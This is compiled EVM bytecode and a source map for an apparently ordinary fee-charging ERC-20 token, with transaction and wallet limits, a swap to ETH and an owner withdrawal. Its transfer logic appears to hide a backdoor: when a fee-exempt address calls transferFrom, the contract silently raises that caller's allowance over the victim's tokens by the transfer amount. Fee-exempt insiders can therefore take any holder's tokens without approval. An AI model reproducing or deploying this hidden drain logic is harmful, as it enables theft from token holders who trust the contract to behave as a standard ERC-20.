5b6001600160a01b038216610ac85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610411565b5f8111610b295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610411565b5f80546001600160a01b03858116911614801590610b5457505f546001600160a01b03848116911614155b15610da457610b856064610b7f600854600b5411610b7457600454610b78565b6006545b8590610f99565b9061101e565b6012549091506001600160a01b038581169116148015610bb357506011546001600160a01b03848116911614155b8015610bd757506001600160a01b0383165f9081526003602052604090205460ff16155b15610cbd57600e54821115610c2e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610411565b600f5482610c50856001600160a01b03165f9081526001602052604090205490565b610c5a91906115a2565b1115610ca85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610411565b600b8054905f610cb7836115b5565b91905055505b6012546001600160a01b038481169116148015610ce357506001600160a01b0384163014155b15610d1057610d0d6064610b7f600954600b5411610d0357600554610b78565b6007548590610f99565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d4657506012546001600160a01b038581169116145b8015610d5b5750601254600160b01b900460ff165b8015610d6a5750600a54600b54115b15610da257601054811115610d9657610d96610d9184610d8c8460105461105f565b61105f565b611073565b47610da0476111e3565b505b505b600c546001600160a01b03163014801590610dbe57505f82115b15610e2457600c546001600160a01b03165f9081526003602052604090205460ff1615610e24576001600160a01b038085165f908152600260209081526040808320600c5490941683529290529081208054849290610e1e9084906115a2565b90915550505b8015610e9c57305f90815260016020526040902054610e43908261121e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e939085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ebe908361127c565b6001600160a01b0385165f90815260016020526040902055610f01610ee3838361127c565b6001600160a01b0385165f908152600160205260409020549061121e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4a858561127c565b60405190815260200160405180910390a350505050565b5f8184841115610f845760405162461bcd60e51b815260040161041191906112e9565b505f610f9084866115cd565b95945050505050565b5f825f03610fa857505f610349565b5f610fb383856114f1565b905082610fc085836115e0565b146110175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610411565b9392505050565b5f61101783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112bd565b5f81831161106d5782611017565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110b9576110b96115ff565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611110573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611134919061153d565b81600181518110611147576111476115ff565b6001600160a01b03928316602091820292909201015260115461116d91309116846108df565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a59085905f90869030904290600401611613565b5f604051808303815f87803b1580156111bc575f5ffd5b505af11580156111ce573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561121a573d5f5f3e3d5ffd5b5050565b5f8061122a83856115a2565b9050838110156110175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610411565b5f61101783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f61565b5f81836112dd5760405162461bcd60e51b815260040161041191906112e9565b505f610f9084866115e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146108dc575f5ffd5b5f5f60408385031215611343575f5ffd5b823561134e8161131e565b946020939093013593505050565b5f5f5f6060848603121561136e575f5ffd5b83356113798161131e565b925060208401356113898161131e565b929592945050506040919091013590565b5f602082840312156113aa575f5ffd5b81356110178161131e565b5f5f604083850312156113c6575f5ffd5b82356113d18161131e565b915060208301356113e18161131e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561143b5780850481111561141f5761141f6113ec565b600184161561142d57908102905b60019390931c928002611404565b935093915050565b5f8261145157506001610349565b8161145d57505f610349565b8160018114611473576002811461147d57611499565b6001915050610349565b60ff84111561148e5761148e6113ec565b50506001821b610349565b5060208310610133831016604e8410600b84101617156114bc575081810a610349565b6114c85f198484611400565b805f19048211156114db576114db6113ec565b029392505050565b5f61101760ff841683611443565b8082028115828204841417610349576103496113ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561154d575f5ffd5b81516110178161131e565b5f5f5f6060848603121561156a575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611593575f5ffd5b81518015158114611017575f5ffd5b80820180821115610349576103496113ec565b5f600182016115c6576115c66113ec565b5060010190565b81810381811115610349576103496113ec565b5f826115fa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156116635783516001600160a01b031683526020938401939092019160010161163c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220719ab2fc9c759b6475464a03e2e7bcc8268240d9b3c851adecc12f3cb942069864736f6c634300081b0033

3559:7272:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7034:83;;;;;;;;;;-1:-1:-1;7104:5:0;;;;;;;;;;;;-1:-1:-1;;;7104:5:0;;;;7034:83;;;;;;;:::i;:::-;;;;;;;;7865:161;;;;;;;;;;-1:-1:-1;7865:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;7865:161:0;945:187:1;7311:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;7311:95:0;1137:177:1;8034:348:0;;;;;;;;;;-1:-1:-1;8034:348:0;;;;;:::i;:::-;;:::i;7220:83::-;;;;;;;;;;-1:-1:-1;7220:83:0;;4280:1;1974:36:1;;1962:2;1947:18;7220:83:0;1832:184:1;7414:117:0;;;;;;;;;;-1:-1:-1;7414:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7507:16:0;7480:7;7507:16;;;:7;:16;;;;;;;7414:117;2640:148;;;;;;;;;;;;;:::i;:::-;;6416:119;;;;;;;;;;;;;:::i;4476:54::-;;;;;;;;;;;;;;;;2426:79;;;;;;;;;;-1:-1:-1;2464:7:0;2491:6;2426:79;;-1:-1:-1;;;;;2491:6:0;;;2419:51:1;;2407:2;2392:18;2426:79:0;2273:203:1;4537:56:0;;;;;;;;;;;;;;;;7125:87;;;;;;;;;;-1:-1:-1;7197:7:0;;;;;;;;;;;;-1:-1:-1;;;7197:7:0;;;;7125:87;;7539:167;;;;;;;;;;-1:-1:-1;7539:167:0;;;;;:::i;:::-;;:::i;5375:667::-;;;;;;;;;;;;;:::i;6301:107::-;;;;;;;;;;;;;:::i;7714:143::-;;;;;;;;;;-1:-1:-1;7714:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7822:18:0;;;7795:7;7822:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7714:143;7865:161;7940:4;7957:39;2083:10;7980:7;7989:6;7957:8;:39::i;:::-;-1:-1:-1;8014:4:0;7865:161;;;;;:::o;7311:95::-;7364:7;4336:13;4280:1;4336:2;:13;:::i;:::-;4323:26;;:10;:26;:::i;:::-;7384:14;;7311:95;:::o;8034:348::-;8149:9;:24;;-1:-1:-1;;;;;;8149:24:0;2083:10;8149:24;;;8132:4;8184:36;8194:6;8202:9;8213:6;8184:9;:36::i;:::-;8231:121;8240:6;2083:10;8262:89;8300:6;8262:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8262:19:0;;;;;;:11;:19;;;;;;;;2083:10;8262:33;;;;;;;;;;:37;:89::i;:::-;8231:8;:121::i;:::-;-1:-1:-1;8370:4:0;8034:348;;;;;:::o;2640:148::-;2553:6;;-1:-1:-1;;;;;2553:6:0;2083:10;2553:22;2545:67;;;;-1:-1:-1;;;2545:67:0;;;;;;;:::i;:::-;;;;;;;;;2747:1:::1;2731:6:::0;;2710:40:::1;::::0;-1:-1:-1;;;;;2731:6:0;;::::1;::::0;2710:40:::1;::::0;2747:1;;2710:40:::1;2778:1;2761:19:::0;;-1:-1:-1;;;;;;2761:19:0::1;::::0;;2640:148::o;6416:119::-;2553:6;;-1:-1:-1;;;;;2553:6:0;2083:10;2553:22;2545:67;;;;-1:-1:-1;;;2545:67:0;;;;;;;:::i;:::-;4336:13:::1;4280:1;4336:2;:13;:::i;:::-;4323:26;::::0;:10:::1;:26;:::i;:::-;6470:12;:22:::0;4336:13:::1;4280:1;4336:2;:13;:::i;:::-;4323:26;::::0;:10:::1;:26;:::i;:::-;6503:14;:24:::0;6416:119::o;7539:167::-;7617:4;7634:42;2083:10;7658:9;7669:6;7634:9;:42::i;5375:667::-;2553:6;;-1:-1:-1;;;;;2553:6:0;2083:10;2553:22;2545:67;;;;-1:-1:-1;;;2545:67:0;;;;;;;:::i;:::-;5439:11:::1;::::0;-1:-1:-1;;;5439:11:0;::::1;;;5438:12;5430:47;;;::::0;-1:-1:-1;;;5430:47:0;;5174:2:1;5430:47:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;5430:47:0::1;4972:347:1::0;5430:47:0::1;5488:15;:80:::0;;-1:-1:-1;;;;;;5488:80:0::1;5525:42;5488:80:::0;;::::1;::::0;;;5579:58:::1;::::0;5596:4:::1;::::0;4336:13:::1;4280:1;4336:2;:13;:::i;:::-;4323:26;::::0;:10:::1;:26;:::i;5579:58::-;5680:15;;;;;;;;;-1:-1:-1::0;;;;;5680:15:0::1;-1:-1:-1::0;;;;;5680:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5662:55:0::1;;5726:4;5733:15;;;;;;;;;-1:-1:-1::0;;;;;5733:15:0::1;-1:-1:-1::0;;;;;5733:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5662:94;::::0;-1:-1:-1;;;;;;5662:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;5662:94:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;5662:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5648:11;:108:::0;;-1:-1:-1;;;;;5648:108:0;;::::1;-1:-1:-1::0;;;;;;5648:108:0;;::::1;;::::0;;5767:15:::1;::::0;::::1;:31;5806:21;5837:4;5843:24;5837:4:::0;-1:-1:-1;;;;;7507:16:0;7480:7;7507:16;;;:7;:16;;;;;;;7414:117;5843:24:::1;5868:1;5870;5872:7;2464::::0;2491:6;-1:-1:-1;;;;;2491:6:0;;2426:79;5872:7:::1;5767:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5767:129:0;;;-1:-1:-1;;;;;6206:32:1;;;5767:129:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;5880:15:0::1;6454:19:1::0;;;6447:35;6160:19;;5767:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5914:11:0::1;::::0;5943:15:::1;::::0;5907:69:::1;::::0;-1:-1:-1;;;5907:69:0;;-1:-1:-1;;;;;5943:15:0;;::::1;5907:69;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;5914:11:0;::::1;::::0;-1:-1:-1;5907:27:0::1;::::0;7101:18:1;;5907:69:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;5987:11:0::1;:18:::0;;-1:-1:-1;;;;6016:18:0;-1:-1:-1;;;6016:18:0;;;5375:667::o;6301:107::-;2553:6;;-1:-1:-1;;;;;2553:6:0;2083:10;2553:22;2545:67;;;;-1:-1:-1;;;2545:67:0;;;;;;;:::i;:::-;2464:7;2491:6;;6352:48:::1;::::0;-1:-1:-1;;;;;2491:6:0;;;;6378:21:::1;6352:48:::0;::::1;;;::::0;6378:21;;6352:48;2464:7;6352:48;6378:21;2491:6;6352:48;::::1;;;;;;;;;;;;;;;;;;;;6301:107::o:0;8390:335::-;-1:-1:-1;;;;;8483:19:0;;8475:68;;;;-1:-1:-1;;;8475:68:0;;7717:2:1;8475:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;8475:68:0;7515:400:1;8475:68:0;-1:-1:-1;;;;;8562:21:0;;8554:68;;;;-1:-1:-1;;;8554:68:0;;8122:2:1;8554:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;8554:68:0;7920:398:1;8554:68:0;-1:-1:-1;;;;;8633:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8685:32;;1283:25:1;;;8685:32:0;;1256:18:1;8685:32:0;;;;;;;8390:335;;;:::o;8733:2095::-;-1:-1:-1;;;;;8821:18:0;;8813:68;;;;-1:-1:-1;;;8813:68:0;;8525:2:1;8813:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;8813:68:0;8323:401:1;8813:68:0;-1:-1:-1;;;;;8900:16:0;;8892:64;;;;-1:-1:-1;;;8892:64:0;;8931:2:1;8892:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;8892:64:0;8729:399:1;8892:64:0;8984:1;8975:6;:10;8967:64;;;;-1:-1:-1;;;8967:64:0;;9335:2:1;8967:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;8967:64:0;9133:405:1;8967:64:0;9042:17;2491:6;;-1:-1:-1;;;;;9076:15:0;;;2491:6;;9076:15;;;;:32;;-1:-1:-1;2464:7:0;2491:6;-1:-1:-1;;;;;9095:13:0;;;2491:6;;9095:13;;9076:32;9072:1252;;;9137:76;9209:3;9137:67;9159:15;;9149:9;;:25;9148:55;;9189:14;;9148:55;;;9176:12;;9148:55;9137:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9242:11;;9125:88;;-1:-1:-1;;;;;;9234:19:0;;;9242:11;;9234:19;:53;;;;-1:-1:-1;9271:15:0;;-1:-1:-1;;;;;9257:30:0;;;9271:15;;9257:30;;9234:53;:79;;;;-1:-1:-1;;;;;;9293:20:0;;;;;;:16;:20;;;;;;;;9291:22;9234:79;9230:370;;;9353:12;;9343:6;:22;;9335:60;;;;-1:-1:-1;;;9335:60:0;;9745:2:1;9335:60:0;;;9727:21:1;9784:2;9764:18;;;9757:30;9823:27;9803:18;;;9796:55;9868:18;;9335:60:0;9543:349:1;9335:60:0;9470:14;;9460:6;9444:13;9454:2;-1:-1:-1;;;;;7507:16:0;7480:7;7507:16;;;:7;:16;;;;;;;7414:117;9444:13;:22;;;;:::i;:::-;:40;;9414:140;;;;-1:-1:-1;;;9414:140:0;;10229:2:1;9414:140:0;;;10211:21:1;10268:2;10248:18;;;10241:30;10307:28;10287:18;;;10280:56;10353:18;;9414:140:0;10027:350:1;9414:140:0;9573:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9230:370;9625:11;;-1:-1:-1;;;;;9619:17:0;;;9625:11;;9619:17;:41;;;;-1:-1:-1;;;;;;9640:20:0;;9655:4;9640:20;;9619:41;9616:172;;;9693:79;9768:3;9693:70;9715:16;;9705:9;;:26;9704:58;;9747:15;;9704:58;;;9733:13;;9693:6;;:10;:70::i;:79::-;9681:91;;9616:172;9853:4;9804:28;7507:16;;;:7;:16;;;;;;9879:6;;-1:-1:-1;;;9879:6:0;;;;9878:7;:28;;;;-1:-1:-1;9895:11:0;;-1:-1:-1;;;;;9889:17:0;;;9895:11;;9889:17;9878:28;:43;;;;-1:-1:-1;9910:11:0;;-1:-1:-1;;;9910:11:0;;;;9878:43;:77;;;;;9937:18;;9925:9;;:30;9878:77;9874:439;;;10002:12;;9979:20;:35;9976:127;;;10033:70;10050:52;10054:6;10062:39;10066:20;10088:12;;10062:3;:39::i;:::-;10050:3;:52::i;:::-;10033:16;:70::i;:::-;10151:21;10243:35;10256:21;10243:12;:35::i;:::-;9957:356;9874:439;9110:1214;9072:1252;10339:9;;-1:-1:-1;;;;;10339:9:0;10360:4;10339:26;;;;:40;;;10378:1;10369:6;:10;10339:40;10336:145;;;10414:9;;-1:-1:-1;;;;;10414:9:0;10397:27;;;;:16;:27;;;;;;;;10394:87;;;-1:-1:-1;;;;;10443:17:0;;;;;;;:11;:17;;;;;;;;10461:9;;;;;10443:28;;;;;;;;:38;;10475:6;;10443:17;:38;;10475:6;;10443:38;:::i;:::-;;;;-1:-1:-1;;10394:87:0;10497:11;;10494:157;;10561:4;10545:22;;;;:7;:22;;;;;;:37;;10572:9;10545:26;:37::i;:::-;10538:4;10522:22;;;;:7;:22;;;;;;;:60;;;;10600:39;;-1:-1:-1;;;;;10600:39:0;;;;;;;10629:9;1283:25:1;;1271:2;1256:18;;1137:177;10600:39:0;;;;;;;;10494:157;-1:-1:-1;;;;;10677:13:0;;;;;;:7;:13;;;;;;:25;;10695:6;10677:17;:25::i;:::-;-1:-1:-1;;;;;10663:13:0;;;;;;:7;:13;;;;;:39;10725:38;10741:21;:6;10752:9;10741:10;:21::i;:::-;-1:-1:-1;;;;;10725:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;10713:11:0;;;;;;;:7;:11;;;;;:50;;;;10779:41;;;10798:21;:6;10809:9;10798:10;:21::i;:::-;10779:41;;1283:25:1;;;1271:2;1256:18;10779:41:0;;;;;;;8802:2026;8733:2095;;;:::o;1180:190::-;1266:7;1302:12;1294:6;;;;1286:29;;;;-1:-1:-1;;;1286:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1326:9:0;1338:5;1342:1;1338;:5;:::i;:::-;1326:17;1180:190;-1:-1:-1;;;;;1180:190:0:o;1378:246::-;1436:7;1460:1;1465;1460:6;1456:47;;-1:-1:-1;1490:1:0;1483:8;;1456:47;1513:9;1525:5;1529:1;1525;:5;:::i;:::-;1513:17;-1:-1:-1;1558:1:0;1549:5;1553:1;1513:17;1549:5;:::i;:::-;:10;1541:56;;;;-1:-1:-1;;;1541:56:0;;11079:2:1;1541:56:0;;;11061:21:1;11118:2;11098:18;;;11091:30;11157:34;11137:18;;;11130:62;-1:-1:-1;;;11208:18:1;;;11201:31;11249:19;;1541:56:0;10877:397:1;1541:56:0;1615:1;1378:246;-1:-1:-1;;;1378:246:0:o;1632:132::-;1690:7;1717:39;1721:1;1724;1717:39;;;;;;;;;;;;;;;;;:3;:39::i;6087:98::-;6144:7;6171:1;6169;:3;6168:9;;6176:1;6168:9;;;-1:-1:-1;6174:1:0;6087:98;-1:-1:-1;6087:98:0:o;6543:483::-;4887:6;:13;;-1:-1:-1;;;;4887:13:0;-1:-1:-1;;;4887:13:0;;;6645:16:::1;::::0;;6659:1:::1;6645:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6645:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6645:16:0::1;6621:40;;6690:4;6672;6677:1;6672:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6672:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6716:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;6716:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;6672:7;;6716:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6706:4;6711:1;6706:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6706:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6781:15:::1;::::0;6749:62:::1;::::0;6766:4:::1;::::0;6781:15:::1;6799:11:::0;6749:8:::1;:62::i;:::-;6822:15;::::0;:196:::1;::::0;-1:-1:-1;;;6822:196:0;;-1:-1:-1;;;;;6822:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;6903:11;;6822:15:::1;::::0;6945:4;;6972::::1;::::0;6992:15:::1;::::0;6822:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;4923:6:0;:14;;-1:-1:-1;;;;4923:14:0;;;-1:-1:-1;;;;6543:483:0:o;6193:100::-;6258:9;;6250:35;;-1:-1:-1;;;;;6258:9:0;;;;6250:35;;;;;6278:6;;6258:9;6250:35;6258:9;6250:35;6278:6;6258:9;6250:35;;;;;;;;;;;;;;;;;;;;;6193:100;:::o;849:179::-;907:7;;939:5;943:1;939;:5;:::i;:::-;927:17;;968:1;963;:6;;955:46;;;;-1:-1:-1;;;955:46:0;;12709:2:1;955:46:0;;;12691:21:1;12748:2;12728:18;;;12721:30;12787:29;12767:18;;;12760:57;12834:18;;955:46:0;12507:351:1;1036:136:0;1094:7;1121:43;1125:1;1128;1121:43;;;;;;;;;;;;;;;;;:3;:43::i;1772:189::-;1858:7;1893:12;1886:5;1878:28;;;;-1:-1:-1;;;1878:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1917:9:0;1929:5;1933:1;1929;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5324:251::-;5394:6;5447:2;5435:9;5426:7;5422:23;5418:32;5415:52;;;5463:1;5460;5453:12;5415:52;5495:9;5489:16;5514:31;5539:5;5514:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;9897:125;9962:9;;;9983:10;;;9980:36;;;9996:18;;:::i;10382:135::-;10421:3;10442:17;;;10439:43;;10462:18;;:::i;:::-;-1:-1:-1;10509:1:1;10498:13;;10382:135::o;10522:128::-;10589:9;;;10610:11;;;10607:37;;;10624:18;;:::i;10655:217::-;10695:1;10721;10711:132;;10765:10;10760:3;10756:20;10753:1;10746:31;10800:4;10797:1;10790:15;10828:4;10825:1;10818:15;10711:132;-1:-1:-1;10857:9:1;;10655:217::o;11411:127::-;11472:10;11467:3;11463:20;11460:1;11453:31;11503:4;11500:1;11493:15;11527:4;11524:1;11517:15;11543:959;11805:4;11853:3;11842:9;11838:19;11884:6;11873:9;11866:25;11927:6;11922:2;11911:9;11907:18;11900:34;11970:3;11965:2;11954:9;11950:18;11943:31;11994:6;12029;12023:13;12060:6;12052;12045:22;12098:3;12087:9;12083:19;12076:26;;12137:2;12129:6;12125:15;12111:29;;12158:1;12168:195;12182:6;12179:1;12176:13;12168:195;;;12247:13;;-1:-1:-1;;;;;12243:39:1;12231:52;;12312:2;12338:15;;;;12303:12;;;;12279:1;12197:9;12168:195;;;-1:-1:-1;;;;;;;12419:32:1;;;;12414:2;12399:18;;12392:60;-1:-1:-1;;12483:3:1;12468:19;12461:35;12380:3;11543:959;-1:-1:-1;;;11543:959:1:o

ipfs://719ab2fc9c759b6475464a03e2e7bcc8268240d9b3c851adecc12f3cb9420698